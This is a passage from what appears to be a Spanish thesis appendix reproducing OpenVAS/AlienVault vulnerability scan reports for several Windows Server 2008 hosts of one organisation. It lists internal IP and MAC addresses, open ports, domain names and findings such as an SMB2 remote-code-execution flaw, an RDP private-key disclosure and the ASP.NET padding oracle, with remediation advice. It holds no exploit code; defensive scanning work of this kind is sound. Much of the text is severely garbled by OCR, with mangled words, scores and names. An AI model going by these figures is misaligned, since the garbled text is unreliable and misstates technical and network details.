SERW1 = This iz the computsr name registarad for workstation services by 3 WINS clisnt.
SOLUCONSTRUCCIO = Workgroup / Domain name Category: infos
SOLUCONSTRUCCIO = Workgroup / Domain name {Domain Controller)
SERV1 = Computer name Copyright: This script is Copyright (C) 1982 SecuriT=am
SOLUCONSTRUCCIO
The remaote host has the following MAC sddress on its adapter : Summary: Using MetBIOS to retrieve information from a Windows host

00:0c:29:c1:c0:49

Version: $Revision: 13188 5
If you do not want to allow evenyone to find the NetBios name
of your computer, you should filter incoming traffic to this port.

CVES Base Score : 0.0

VL

SMB Test 20011 general (IVSMBClient)
Family name: Windows
08 Version = WINDOWS SERVER (R) 2008 STAMDARD 8001 SERVICE PACK 1
Dromain = SOLUCONSTRUCCID Category: infos
‘SMB Serverversion = Windows Server (R) 2008 Standard 8.0
Copyright: Copyright {C) 2008 Greenbone Metworks GmbH

CVSS Base Score 1 0.0 Summary: Determines the OS and SMB Version of Host
VL Version: $Revision: 13388 3
SME on port 445 1011 nethios-==n (138/teg)

Family name: Windows

An SMB zerver iz running on this port Category: infos
‘CVS5 Base Score : 0.0 Copyright: This script is Copyright {C) 2002 Renaud Deraison
N @ 3 Summary: Checks for openness of port 445

Version: $Revision: 136875

Identify unknown services with nmap ] pago-services1 (30001 /tep)
Family name: Service detection

nmap thinks page-services1 is running on this port Category: infos
CV5SS Base Score : 0.0 Copyright: Copyright () 2009 E-Soft Inc. hitp:/fwas. securityspace. com
j! @ 1 Summary: Launches nmap -s\ sgainst ports running unidentified services

Version: 5Revision: 13384 3

Autores.
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Figura 70. Resumen vulnerabilidades servidor serv2

< osm AlienVault: |.T. Security Vulnerability Report
Dy ANVt
Fecha Inicio: 2013-02-20 22:00:00 Generado: 2013-02-21 15:55:26
Perfik: Default Nombre del trabajo; |ESC_SERV_2

El nimero total de vulnerabilidades identificadas en 1 sistema(s)

. Serious: 1
B oion: 2
. Medium: 2
D Low: 39
[ 1nte: 27

El nimero total de vulnerabilidades identificadas por sistema

P equipo Nombre equipo Senas Alto Med Bajo
192.168.0.81 SERV2 1 2 2 39
Autores.

Figura 71. Listado de vulnerabilidades servidor serv2

R e l85 o) esc 1o
fipape Thoanbit v orpape ‘ Seran 1~ ‘ Alto v % Muttio 1~ Bao Vv
1921882 11 SERV2 1 2 2 »
T Ver ion folsos pestwos () - Reaumags verdeders € - Resutaco faiso pestva ) - Nformacin adoensl esth degonisie

192.963.0.101 - SERV2

Puntton regets sdoy
S S
BlAcp B5cp
1thcp 12300
3 127
13880 385
449n20 Ancp
Sidacp €368
104TR0p 104880
1B01Acs

J18kep

2181y
AeG0ce
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Fiaura 71. (Continuacion)

Honbe e vuln
Microsott Windows SMB2 otoen! R Code t

Ovarview: Th howt has orscal senirty upeate masng scoarding b

Vudnerubibty naight:

Vutyie cuneritites eamts

« A denal of service venerzhlty exaty n fie way that Vicroso®t Server
Block (NS handies speclly craftes SME verven

2 (SHBVI) pachsts

< Urnitherdcxied remofe Coge $xscatns vWnersbéty exsls n Me Wy
et Worosaht Server Nesssge Biock (SUE) Prolacol software dardies
specaly crafied SYE pacteta.

mpect:

A aftacker con expiol T ss0e 10 execote code Wit SY STV evel
prieeges. feied cxDiT ARAMOtS WE Rty Cocae denaor-serie
coedtans

Impect Levet: Systen

< Wedowe 7 RC

- Wadows Vists and

- Wedews 038 Server

Refwrancus: ;
ity Pacaw rhy ASTH-030 mepx

£VSS Base Soare 100

Wcrosuft ROP Server Privete Key | o0 Dvsc nerabitry

Ovaraew: Ths host & rsneing femole Desidep Srotos! server and @ prose
o

Vulnerailty ssight:
The Naw W cauned dun 15 ADP aervar which stores wn REA prioate key used
for agang & lertamal server's pulde by & 1he mutuap 8 ey, which
stows meale Mtachers to calcatale 8 vaki wgnatire and tarther perform

2 Tan.n-Ne.made (MITW) sttsces o cotain 3a3s8ve R HNTMeNon.

Impact

Sectoaafdl sxplotaten coskl AW remote aACLENd 1 QAN MNSEE

= lrraten

Impact Levet Systemidppecatan

Attected Softwarei0s

Nicrosoft ROP 52 and bolvw

Finz Mo watitmn o patch & newiedle a8 0n iy 1, 2012 miarration
regarsng thes male Wi be sutated oace the sostom detady are seatshin
For ypeates refar, Mtx bsuppart morosat con

Workarourd
Cannect a0y 16 Leemsnn Services over rusted nelwara.

Betorunces:
s Neecanie canvadvisores/ 15208

- 1554
D Swww 20 tisownoadsiTdp-ghe pdt
CVSS Base Scove 83

YL

Microsoft ASEMNET s ity (2410042)

varview: This 2082 has CTOCH! secarly upaals MIBANG 8CCOMING tn
Hicrosoh Defiesn M5 10070

Vulmerabety insaght:

The Saw s calimed Sus b2 o0 errer withes ASP HET 1 e handing of
crypiagraphic paddeg when using encryption @ CBC mede This can be.
exphelag 10 S0Crypt dala via reliened ener Codes rom an sffectsd sarvet

Impact:

Sucoesshis supiotanon coud alow remets sftackers 10 decrypt and gan
Ao 10 potertaly sasalive dale encrypted iy I SOVAr Of (ead date
¥om arvtrary fies with sa AEF NET applcaton. Ottansd nformatos
ey Wi ferthar attacts

Hicrosen ASPRET 351

Mictosofl ASONET 1.1 521 sad proor
Hicrossft ASP NET 2.0 5F2 sad poor
Wicraush AS? RET 3.5 597 wnd pror

oo
Ran Wingows Update and updace e Ssled hotfess o dOWNoad and
uptate hatkues i the agviory fram the bekow ke,

hROwww y WS10-078 rmmpoc

10 b Servicio Seversdul
H09eT mcrioR-ds (48420} Secvan [N
Famity mames inows - Microssd Buwine

Categary: afos

Conyright: Comprght (C1 2009 Secfod

L4 Win0aws i Srane 1 a remote code-
eCusn vusaTatiny

Version: SRevmon 12443 5

832558 s witserver (SI08AC0) wen @M
Frmly name Wnsows

Copyraght: Capynght (C) 2012 Sackor
Summeary: Detarmme # RUE Secvw Srente Koy i peatable
Version: SRevison 13576 3
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Fiaura 71. (Continuacion)

LDAP aliows st hases
Synopeis:
R posaitie o Sacise LOAF whormaton
Deseripoom

progenty LDAPF servers wil alow the Srectory BASE

o e set 13 NULL. Thes sfows information to be cullss witou

any prer inowiedge of Mo droctory sirectare, Coupled wit a
NULL B0, 90 208y N0US 4380 Can Query yOur LIKAP sarver using &
ol sece ms ‘Ldaoirer

Salation:
Oesatée MULL SASE queries an yout LDAF servey
CVSS Base Score 2.0

v
Use LDAP search request 1o from T
Symopace:
£ possdis & Saclene LDAP nfurmation
Descripion:

The Srectiry base of 1he rerrete server & 3ot 30 NULL Tha wiews e dsrmmation
o be erurmrated wihaw sy poor browisdoe 31 the Yy

H pra-Windows 2001 crepuidly m ral regeced. Iemeve
pre-Vrndumy 2000 corpatioity as fuliws

- alart coed exe

- execale the comyrend

net DewgIus Tre-Sirdows 2000 Corpetbie Acteas’ everysne iSeise
- realart 1e rerrate BoSH

Prgin cutput:

The follewing 0 formation was puled ftom Ihe Server vie # LDAP recusst.
WIS

Satiegs CH=SERVD CNeSesvers OO fustFrst-Sis-

Marse, CheStes Ol=Confgurnton DCrsolucosaroctis

n0C=ce

CVSS Base Score | 2.0
SMB Test
0S Version = WKDOWS SERVER (R} 2008 STANDARD 5301 SERVICEPACK 1

Domain = SOLUCONSTRUCCO
SHE Sesverversps = Windows Server (R 2008 Sander3 50

CVSSBase Scorz: 09
Voo
Identify enknown services with nmap
nmap thisks dap s rusning 20 thes port
CVSS Base Score 108
vU
SMB Test

QS Versia = Windows Server (R 2068 Siardzrd 800t Service Pack 1
Donain = SCLUCORSTRUCCO
SHB Serverversios = WINDOWS SERVER (R} 2008 STANDARD 60

CVSS Base Score 208

yQu

10722 Mag (320 Wecuen [T
Family name: Remste e dicesy
Categary: nfos
CopyTights Capynght (C5 2060 Joto Lampe... [ isege@beiscut et
Sammary: Check for LDAP sul base

Version: §Reviaion 13509 3

Aralnd gap DAY LIEOLY (vt |
Faely marme: Qpcrens fie scims
Category: nifes

Cupyright: Thia scogn i Capprght (C) 034 Davet Kyger
Summmary: Use LDAP sewrch reqeesd i ietrmes nformation SsmNT
Deectiry Services

Verxion Sliacmen 139093

Copynght: Capynght (T} 2008 Gresntone Networks GrtH
Summary: Determees fie 0S snd SMB Versen of Host

Version: 3Revson: 133858

=28 msfi-oc {3268%cp) Low [0
Family name: Service defection
Category:infos

Copyright: Copynght {c} 2009 E-Soft Inc. MEpAwww. secartyspace cam
Summary: Lagnches nmsp -3V sganst gorts rusning andestifed serices
Version: SRevison: 13384 $

99011 general (WSVECKem) Lew EIR
Family name: Wndows
Category: nfos
Copyright: Copyrigtt {C) 2008 Greentane Neterorks Grik
Summary: Determares fhe OS and SHB Versen of Host

Version: SRevsta 133888
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Fiaura 71. (Continuacion)

Identify unknown services with nmap

amep ks msag S rueng oa s port
CVSSBase Score - 3.0

you

SMB Test

OS Version = Yindows Server (R 2003 Standard 8001 Service Peck 1
Domas = SOLOCORSTRUCCS
SiB Serverversios = Windows Server (R) 2008 Standard €3

CVSSBsse Score 1 2.0
YO

Identify unknown services with nmap

amsg hinks rpchnd s nening on His cort
C\SS8sse Scers: 20

v

Using KetBIOS to refrieve information from a Windows host

Toe folowng £ NetBIOS names Save been gatiersd -
SEVZ=Tessths neme regiss for
SOLUCONSTRIFCCIO = Warkgroup / Domsin name
SOLECONSTRUCCIO = Werkgroup J Damein name (Doman Cosiroleni
SEAVZ = Computsr name

The remote Bost has the folowng MAC address on s sdepisr -
DI:Dc 2980803

i you do 20t wast fo slow everyons i 3ad the NeiSios same
of your computer, yoe shosld fiter ncomng Ir3fic o his porl.

CVSS Base Score: 00
Voo
Windows SharePomt Services detection
Server MirosofIST O
Operaieg System Type: Windows 2008/ Vsta
X-Asphst-Version 2.0.50727
XPoecred By ASPNET
CVSS Base Score: G0

QDL

by a WNS cient

129

85256 r=smg (18018cp; Low -
Family name: Servce detscion
Category: nfss

Copynight Copynght (c; 2303 E-Soft iec. hilpPwrww szcardyszace com
Summary: Leunches amsg -s\/ aganst ports rensing unideshiied services

Version SRzvsan: 13384 §

20011 gesers (INSWECE=n) Low [0

Family name: Windows
Category: =fes
Copyright: Copyright (C) 2018 Greenboae Networs Smth
Sammary: Determizes the OS and SMB Versipa of Hest
Versioa: S2=vsion: 13385 §

25236 nead? (1047cs)
Family name: Senvice defection
Category: oizs
Copyright Copynghi (c) 2809 £-Soft inc. hilp Pwrww_sscuriysgace com
Summary: Launches omep -8V aganst poris reanang unidertifed servces

Versioa: SP=visen: 133845
10150 petbios-ns (1374dp)
Family name: Wadoas

Lew [

Category: miss
Copyright Ths scrpt = Copyright (C) 1999 Securiteam
Sammary: Using NeSI0S to refnieve nformation from a Windows host

Version: SSsvsion: 133883

131858 hip (B3cp;
Family name: Service defecton

Copyright: Chrissan Enc Edissgece

3’ SharzPost

Version: SRsvsen: 133888



Fiaura 71. (Continuacion)

SHE on port M6

A0 SV server & runang on i pert

CVSS Sase Spore 00

Vo

NTTP Sarver type mnd version

The remate web server type i

Mo 27 0

CVSS Base Soare 0.0
Voo

SSentily unkoncram sarvices with nmap

s TS (ehiad & UNEG e i et
CVSS Base Scare 00

VoL

Nikto [NASL wrappes)
Here = f5e Niio report
Uninows opfion: ask

—Loidrs+ scan flese OGides: nons’, 'aF, or valoess K
“egi fogia”

—Sbcheck check dalzbsss end other key Ses far symsax emmors (caanst be abbreviaied)

—2vEson- Os Svesios =cinigus
—Fomats szve fie [0 format

~Fost+ tarpet host

-Help Bxdended Selp nformaion

= sost suhenicasion tp use, Sonvet S usendoasswond

~Pygins List of plugins 1o un {defaul ALL)

—sort= Port i3 1s2 (defaul 8F)

Dsplay+ Turs onlff dsplay outouss.

-ssiFores ssimode on port

-Sngke Sisgie request mode

—Imzcut- Tmesus (defaul 2 seconds)

-Juring= Scas faneg

-spdate Updste daitsbeses and plugns From ol net {camot be sbtrevistzd)
~yhesi= Virksa host (for Hest heades)

+TequEes 3 vabe

11011 netion-san (138cp) Low D
Family neme; Wndawe
Category: mios
Copyright: Tha scrgt s Copyright (C) 2502 Renaus Devaison
Summary: Checes for spensens of por 43
Version: $Revmne 1474 §

10187 iy (BOnCs) ow WD
Famity naene: Cenersd
Category: mfay
Copyright: Tha s<ret s Cosyrignt (T) 2009 ¥ Schok & Costritors
Summnary: HTTP Server tyge and sersian
Versioes SHovans 13384 3

62046 nta (J049Rex) Low [0
Family name: Service Sesectoe
Cutegoey: nius

Copynight: Copyrgte (2) 2003 £.5c% Inc *tip Yerww secirtyspace com
Summary: Launcies MTeg -5V Bgenst pas rnmng pnidenthies sarvees
Version: SRevaios. 133843

14260 hitp (30tce) Low HIH
Family name: Wes spoicaion atuses
Category: nfos

Copynight: Ths scrpt is Copynght (C) 2034 Hicaes Arbor
Summary: Asssss web server securty witt Nido

Version: SReaspa:; 121543
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Fiaura 71. (Continuacion)
LDAP Dedection

A LDAP Server m runreg ot thay Sost

The Ligntwaght Dewotory Access Protecsl, or LOAF i an sgicaton

whwlnMvoMymmm

CVSS Sase Score 30

v

i ™ b, B "

Tee Microas® Remctn Deshiep Prosocol (D) s running of ths bost Resote
Deshiep Services, fermedy knows i Terswial Services, I 360 81 the companests
of Werusol Windtras (Lo serunr ond cherl varscng) et stewe & use 10
arcens sphcalions med dale o ¢ reTOM CITEUNT Gver & netwErs

CV5S Dese Scome 3.9
Y@Du
DHS Server Detection
Overvwa
A DNS Server & rsmng ot fva Host
A Name Serser Tansises Somar names ino F sdoressss This meses §
peesbie 10r B Lser 10 0C08S3 & W2bsle by typg I the domai sane Wstead of
Ine wetsle's actusi ¥ aa0réas.
CVSS Bass Soorw 20

v@u

Bost Samenary
traceroute 102 162 350 182 %82.0.10¢

o Vap (285) Low [
Famity names Service getectnn
Categary: fes
Copyright: Teis 5copt /& Copyright (C) 2003 Cresebone Natworks Soai
Summary: Creck lir LDAP

10086 -t server (138 Law EIED)
Famity names Wedaows
Category: nis

wyright: Thas scrgt & Copyrghd (C) 2008 Gt

Famity names Gararw

Category: nfes

Copyright: Thia scrgt & Cogyvight (C) 2008 Oresshans Netwarks Goak
Surmmary; Oete=t IS Servwrs

Varsion: $Hevmen 13384 §

810003 general (INOET-T) Low D
Family nae: Caners

Ton
D 2065, 1901 2105 30 1847.2107, 664 1945 445 £0,111.2045,636 115 52,383, 3380 119 53,2160 2263 CAtegory: end

UOP porss:

CVEES Base Scove - 00

v

XMP Tumestamy Detection

Qverview:

The racaste bost reagosded (e 80 CUF Snestang toguesl. The Tomsterg Reply s
Ar CMF measapr whch repies % a Toestasg Tessage. t oodamls of the
OfQratng loeataTy et Uy e secdec Of the Tiveslang sa wel a8 & (2coive
\ressanp a0 & YA Ths ocoud be used
10 expink wosk hne-Dased MANSIN NENBer Jeneralers @ otha) lervices

See shoon
DEpT W et orpirich Tod T 1t

CVES Sase Score: 048
v
05 Ningerprintng

CHP bosed OF Mngemmt reauls: {80% confdence)
Womoh Wadawse
CVSS fua Score 00

v

DIRIS [NA S wrapper)
DRS coul 70t e 2und & yaur wysten po.
OparVAS was snabie to execsts DIRE and to Devform e 5can you
reguestsd,
Pease make sore that DRD m wwtsied ard »
Wrmintie w the BATH variatie dSefowd far your mrvrormeet
CVSS Bana Score 00

Vv

Thecks tor open udp ports

Open UDS ports [Nose foundf
CVES Dove Scome 00

Vo

Copryright: Copyeight (2) 2010 Qreentone Notw ook Gerdi
Surmemary: #es Suneary
Version: Sievisen 126638

e prraryl (3l Low EHD
Famity namee: Secviot 2etecton
Category-nlts
Copyright: Tom scopl & wranm [ Ot
Summaryt Caecis (f he renele hast » CVF

Version SRgvsien 124228

102902 gararal (Rcp) Low D
Famnity naene: Prodect detection
Category: nbs

Copyright: Copyvight (T} 2085 LES
Sommary: Delects remste oparaiog system varven
Vursion: Sevann 17400 §

103679 pararal A} Low @D
Faenity naenet Web apsicaten abeses
Category: s

Copyright: Copyright (T} 2011 Gressbone Natwarss Goih
Sommmary: Brats 5ron wab Aps Areciee e
Varsion: $evann 13384 §
190578 pararal () Low 0D
Faenity naene: Saneral
Category: nos
Copyrigh yeight (c) 2012 Gt
Sommary: Chack Gges UDP Sorts
Varsion: $evann 12365 5
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_ Fiaura 71. (Continuacion)

Open TTP poyns: 1268, 1301, 2905, 30, 1347, 2107, 454, 1043, 445, €82 111, 2045 826 136, BE 335,

3288 139,53, 2192, 088

CVSS Bese Score: 00
v
Services
A wab server m rinrng on this port
CVSS Sase Score: 00
v
wilat (MASL wrapper)

winf csusd nat be fosnd it your satt
Opar'VAS was unabtée tv execule waf aed %0 perdarm e acan you

requested.
Peata make sars Bal wial s natatied end Il wial coasls »
wendezls = the SATH varsile dafined for your smergnmant.

CVSE Base Score - 00
v

Wapith (HASL wrspper)
Wept tou nat be foend n your sysien pate.
OpanVAS was unable to expzite waol and % perform e Scas you
requested.
Pleose make sare Tl wapdl s nstafed and that wosti s
avetabie i the PATH varbie defined for yeur envronment

CVS5 Base Score 0.0
vou

Microsoft 1S Vinbserver Version Detection
Defected Veroantt 15 Webderver vetinier 7 0
Lacaten 8i8s
CPE cpelamicroaatin o
Cosciudad e versins Sestificaing et
570

CVSS Bane Sears 100
v

NS Server Detorton
Ovweview

A DRIS Gerver i rutning af tres Host
A Name Server imesiales domen sames ¥i0 F sddrosees. The makes &

DIsabie for 4 ¥aer 1D 0Cess 0 webade Gy Howg m Me doman nenw Psieas 31

the webele's actun’ & address.
CVES Dese Scoee 100

v u

10338 Tétp (20RcH) cow [HD
Famidy aame: Service detecten

Category: nfos
Copyrght: Writken by feraus Derasos
Suonmany: Fad what is lsteeng on wheh port
Versian: Shevabn 133345

20108 Wip (304c0) wow D
Famyly names Weab appicalon pbuses
Category: nfos

Copyright: Tha scrgt m Copynght (C) 2009 Viatko Kostuneh
Susmary: ASssas wes securly wilh wiaf
Vorsion: $Resmon: 133883

80110 g (e} Lew D
Family naene: Veed appicaten atuses
Category: nfos

Copyright: Trs scrge & Cogyeght (C) 2040 Valks Koslarat
Sumenacy: Assess wol SoZurly wilh wapti
Versiom SRedeen 133385

04T p (M) \aw EHD
Family name: Senece delecian
Categary: nifos

Copryright: Capryrght (C) 2006 SecPed
Surmsary: Set the Veraen of Bersscf 5 = KB
Versioe: $Resmen 136758

102088 darmai (S30p] cew @D
Famity naene: General
Category! nios
Copynght: Ths soee & Cozyrgnt (T} 2008 Greeshine Netwans Gl
Surmmary: Detect DNS Servers

Versioe fRevmen 11324 §
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Fiaura 71. (Continuacion)

Mdentity wekoown serdoes with nmag

arag ks hevberus-sec i nnsng e s port

CVSS Base Scare 00

@
Identify unkoown aervoss with nmap

emap thinks kpssawdS s ruaing on s port
CVSS Base Scare 0.0

v
Ienbty welnowm aarvioss with nman

nep theks Lowrspees & rutnng on this port
CVSS Base Score 00

VoL

SMB NativelanMan
Overview:
s possiie 5 extract OS, domoin and SMB serves nformaton
from the Session Setup AndX Respocse packet which i gecerated
during NTLU autherticaton,
Detected SMB workgroup; SOLUCONSTRUCCIO
Detectod SME server, Windows Server (R) 2008 Sundard 60
Detected 05 Wndows Sarver (R) 2008 Standard 6001 Service Pack 1

CVBS Base Score 0.0
Vo .
SMB on port 445
A CFS servet s running oo thas port
CVSS Base Score 100
VoL
SMB Test

0F Verson « WINDOWS SERVER (R) 2008 STANDARD 8001 SERVICE PACK 1
Deeman » SOLUCORSTRUCCIO
SUB Serverversien = WNDOWS SERVER (R) 2008 STANDARD &0

CVSS Base Score : 0.0

Vo

SE28E Asrberos (38%¢c0) ww [0
Famwly name: Service delecaon
Casegory: bfos

Copyrightt: Cepyright (c} J008 E-Sa8 e, NI Awerw securtyssacs con
Surmemary: Launches neap 6V sganst ports runneg uridenshed seroces
Version: SRevimon: 10304 5

L] \passwa (854t Loa D
Farruty namme; Seryoe detecun
Category: nfos

Copyright: Capyright (2] 2008 E-Sa e NI Aw sew Secietyssace con
Surmmaey: Lawnches nmap 4V sgenst pords rsnng useenting secvces
Version SRevson 13384 5

Ll ‘emze (30T wow D
Famaty name: Servics detecsan
Categary; nfos

Copyright Tepyright (¢} 2008 E-S50% 1. MDAWW W SACUtySpace 0om
Surmmary: Launchies neap -5V againat pona rusneg usdemlied serices
102011 microsafi-ds (4454co) Low @D
Family namae: Service delecton
Category: efos
Copyright: Copynght (C) 2009 LSS
Summary: EXacts 1o abowt e OF through NTUM scientcation packets
Version: $Revaon 13554 §

1014 merosoft-ds (4451cp) Low (D
Family namae: Wedows

Category: nlos
Copyright: This scrigt s Copyright {C) 2002 Renaud Derainca
Sammary; Checka for cpsnnens of port 445
Version: SRevaon: 13675 %
90011 general (BSMBCIent) Low [ID
Family name: Windoins
Category: nfos
Copyright: Copyrght (C) 2008 Greentone Networks Gt
Summary: Deteemees ihe 05 863 SUB Varsion of Host
Vetsion: SRevaon: 133683
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Fiaqura 71. (Continuacion)

nmap thinks microsoft-rdp = rumming os s port
CVSS Base Score - 0.0

VoL

Ogpes port.
CWSS Base Score -

Vo
Sin noenbre

Oper port.
CVSS Base Score: -

b@.—'

Orpes port
CVSS Base Score -

VLU
Autores.

134

Family name: Service gst=cton

Category:nos

Copyright: Capyright (c) 2089 E-So Ihc. Sitpfwww seceriyspacs con
Summary: Launches nmap -3 aganst poris ronnieg anidenbfed services

Version: SRevison: 133345

8 msE-gc {326340) nic [{HH
g msf-oc {(32634cp} nio {0
[} ms®-gc {336340p) rio [0



Figura 72. Resumen vulnerabilidades servidor acceso_remoto

< OsIm AlienVauit: 1.T. Security Vulnerability Report
Fecha inicio.  |2013-02-21 00:00.00 Generado 20130221 14.05:12
Porfil Dofayk Nombre del trabajo: | ESC_SERV_REMOTO

El nimero total de vulnerabilidades identificadas en 1 sistema(s)

El nGmero total de vulnerabilidades identificadas por sistema

WPeGuIpe | Nombe eGUIpS ) Wed Bijo e
192.168.0.82 ACCESO_REMOTO 1 ) 0 10 9
Autores.

Figura 73. Listado de vulnerabilidades servidor acceso_remoto

Homitu e vl B wuin Servicio Severidad
Mizrpaoh IMB2 Prosoced A Code £ My 008G micromnf-de (445100) Zeruus [0
Overview: Thas husl fas Srticl secicly update mestng sctordng by Faenily name: Widnws  Nictosaft Bulleing
Nicrose® Bukas 0415058

Catngory: mtis

Vuinerability Insight
Yutpe vaheranities ewsie Copyright: Copyngrt (T) 2005 SecPod
<A deoi of service vuseratdly easils 1 Me woy Dat Mol Server
Nessage Boct (SMB) Protocs! se®wurt Mandies spetily crafiee SUE versen y: Datersane Wi " grane o g renols code-exatatun
7 (S0 puchats VimaTabdty
’ ted TeTOle O30 y existy n o way
i Movsoh Secver Bessage Block (SND) Prolecsi spfrware sacdies Version Reveon 124435
specaty craftied SK3 packem

it

An stiacher can oupoe the Bsue ty exncute code wih SYSTEN wve
grseges, Iefied expiot atiengie will ety couse denal.ol.seraice
codtoos

npect Levelk: Sywlen

Atfected Software:Os:

- Wedows 7RC

- Wiecows Visla ang

- Wednwa 2002 Serve

Qeotarences:
Ritperwr e MO D30 M comacheetnecir ybule (NS00 D55 mesx

CVSS Baae Score - 100

DU
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Fiaura 73. (Continuacion)
Using BetBIOS o retrieve information from a Windows host

Toe foliowng £ NetBIOS names Save been gafiersed -
SEAVZ=Tas sths neme rege or

by a WINS cient.

SERVZ = Compuisr name
The remote Sost has the folowng WAC address on &s sdapisr -
DI-Dc 29580802

 you do 20t wast fo slow everyens io 38d the KeiSos sams
of your computer, yos Shosid fiter incoming 73¥fic o ths porl.

CVSS Base Score: 00

Vo

Server MrrosofiISTO

Operaleg System Type: Windows 2008/ Vsta
X-Asphst-Version 20.50727

X Poeered By ASPNET

CVSS Base Score: 00

VDo

Open TTP pors: 2268, 1801, 2905, 80, 1347, 2907, 464, 1043, 445, 82 111, 2045 526 136 BE 335,
3286, 139, 53, 2192, 2288

CVSE Bese Score: 00
E27
Serviees
A wob server m g on ths port
CVSS Base Score: 00
v
wlaf (MASL wrapper)

win! coutd net be fosnd It your sywiem et

Opar'VAS was unatée to axecule wiaf 3ed 10 perfarm Be acan you
regquested.

Peasa mabe sars Bal wial s nataled end Il wiafl_coeatls =
wendetle = the PATH varaile dafined for your smergnmant

CVSE Base Score 00
v

Mo (RASL wrapper)

Fere i the Nikto report:
Uninown 2pten: ash

~Couiens 3200 Mose G dirn 'tane’, "off, ar valuas e
ogé lep-a”

~dchech chuch dalsbane And oinar ky Thes for wyrtax srrors (Cannsl Be alirrvales)
~ovRsEn. ta tvRann IRChrEee
Farmwts save Ne (<) frnel

“hste target howt

“Nep Cxtended 2ep nfomesen

A+ host adthentcaton 9 wse. fonmet s sserd passeard
sipugins Ust af avalabe ploging

-mutones Guess dAdBCON N Names
-Iatate-Options+ PTovide exTa nformation far mustens
~eutputs Wik cuut o e Ne
~necacte Omatses e LR cache

P Ust 51 plugns to rum {detaut ALLY
“parts Fort 10 me (detaul 5)

~Despiay= Tumn eoiot! Gapley autsos

-sal Farce asl mode on port

-Sngle Snghe request mode

“imeouts Timeout (defaul 7 seconds)
~Tutiegs Scan tanng

~pdale Updale datatasss aod plupea frum crt net (Canso! De attrevaled)
Aersnn Privd pupn and datatwas seraons
noste Vs host {for ot hander)

* IoouTes 3 veUr

136

10150 pelbics—ns (13758dp)

Family name: Wadoas

Category: sics

Copyright Ths scpt = Copyrigat (C) 1299 Securiteam

Sammary: Using NeSIOS to refnieve nformation from a Windows host

Version: SSsvsion: 133885

13818 hep B3cp}
Family name: Service defection

Category: mios

Famiy name; Gecerm
Casegary: nfos
Copyrght: Capyrght (C2 2912 SecPog
Summary: Chack Open TCP Ports
Version; $Revabos: 126603

10338 Tetp (208cH)
Famidy aame: Service detecton
Category; nfos
Copyrght: Writien by ienaud Derssos

Sommarny: Twd what is lsterng on wheh port

Versian: Shevaen 13324 %

3010% Mip (808D}
Farrsty narmes Wab arpicalon pbuses
Category: nfos.

Copyright: Tha scrgt m Copymght (C) 2009 Viatko Kostuneh

SumAany: ASSeas Wee Securlly wilh wial
Version: $Rexmion: 133283

1420 A (BOS)
Family name: Viab spptcaton sbeses
Category: =fis

Copyright: This acopt i Copyright (C) 2004 Michel &rba
Sommary: Assess well sedver securty wih feso

Version: SRevaen 12154 3

Low D

Low WD



Fiaura 73. (Continuacion)
SMD Test
G5 Versioo » WHDOWS SERVER (R) 2008 STANDASD 8001 SERVEE PACK |

Coman « SOLUCONSTRUCCO
N8 Servecversen = Whnsows Server (R) 2002 Slantand 6.6

CVSS Base Soxre - 00
vQu
Identify UBkoown Services with nmagp
Amap SNty KHap m ruming o this gott
CVSS Base Scare - 00
QU

Su8 Test

05 Versnn « Wedows Server (R) 2006 Stardard 0201 Service Pack |
Ooram « SOLUCONSTRUCCO
S8 Serververen = WRDOWS SERVER (R} 2088 STANDARD 6 0

CVSS Base Soare - 00

Vvou

SNE on port 445

An SNE sarver @ nmong on this poct
CVSS Sase Scote 1 30

veou

Autores.

18811

#0011 genecal (USIHCet) ww (D
Famty namne: Windswa
Category: bfos
Copynight: Copyrght (C) 2008 Greentone letworks G
Semmary: Determings fie O3 snd SNE Versan of Hoat
Version: SRevisn 139803
52286 maf-pc (3265100) cow [N
Famity name: Service detecton
Category: ns

Copyright: Copyrgnt (c) 2000 £-528 T MIEIWWw SeCurfyspace con
Semmary: Laurches nmap -5V 30s0e: Darts rutneg andertlied sarvces
Varsioo: SRevaion 133345

wort ganersl (SIS Tkt Low @D

Family neme: Wardtws

Category: ns

Copyright: Copyrgnt (C) 2508 Graentone Nebworis Grtts
Sammary: Determmnes tie 05 sad SUE Versun of Hoat

Versian: $Revsan 133828 5

catbos-4sn (13%1cp)

Lo« D

Family name. Wedows

Category: intas

Copyright Ths sorpt i Copynght (C) 2902 Remacd Demsaes
Summary: Checks for openness of port &8

Vervion: SRevaion 136755
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Figura 74. Resumen vulnerabilidades host tesoreria

Ov AV

0:00ﬂ|m AlienVaulit: L.T. Security Vulnerability Report

Fecha Inicio: 2013-02-21 02:00:00

Generado:

2013-02-21 14:25:34

Perfil: Default

Nombre del trabajo:

ESC_EST_TRA_TES

El nimero total de vulnerabilidades identificadas en 1 sistema(s)

El nimero total de vulnerabilidades identificadas por sistema

—iPequipo | NoOmbré equipo Serias Ao wed Bajo o
192.168.0.33 TESORERIA 0 1 0 22 45
Autores.
Figura 75. Listado de vulnerabilidades host tesoreria
Microsoft ASENET information Disolosure Velnerabiity (2419042) C ey (B00g) tgh D

Cvarview: This 20l has oricsl securly upaals msang according to
Nicrossht Odfess NS 10070

Vuinerabeey Insaght:

The Saw 18 calmed Sur b2 o errer withes ASPNET n e handing of
crypiagraphic paddeg when using encryption @ CBC mode Ths can be
explelad 10 S0Crypt dats v relirned ener Codes from an sffecisd sarvet

Impact:

Sucoesshi sxpiotenon coud alow remete sftackers 10 decrypt and gan
Aczess 10 poterdady sanalive dale encrypied iy INe S40var Of rea( dale
fom arvdrary fiss wiltin sa AP NET applcaton. Dttaned nformaton
ey wkdn farthar atiacks

Impact Lavet: Systen'Appscation

Atfected Suftware05:

Hicrossfl ASP NET 1.0

Nemssh ASP NET 40

Hicroson ASPRET 351

Nictosoll ASONET 1.1 521 sad pror
Hicrosaft ASP KET 2.0 572 sad poot
Nicransht AS2 RET 1.5 597 md proe

Foc

Ran Windows Update and updace e Ssled hotfees or JOwNioad and
update mectioned hotSues i the advinory fram the below Itk
MR.Owww Croac . comtechnetisecurTyudetsvi S 10-070 mapc
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Family name: YWinoows - Nicrasofl Suletes

Categury: nizs

Copyright: Cosyngtd (C) 2010 SecPod

Samenary: Deleemne Hicrossfl ASP KET mlwmatien Duceaus

Vimerabity

Vession: SRevaos 1309 5




Fiaura 75. (Continuacion)
SMB NativelanMan

Overview:

s possie 95 extract OS5 domain and SMB serves nformaton

from the Session Setup AndX Respocse packet which s generated
during NTLU autherticaton.

Detected SMB workgroup: SCLUCONSTRUCCIO
Detected SME server: Windows Server (R) 2008 Stancard €0
Detectod 05 Wndows Sarver (R) 2008 Standard 6001 Service Pack 1

CVES Base Score 00

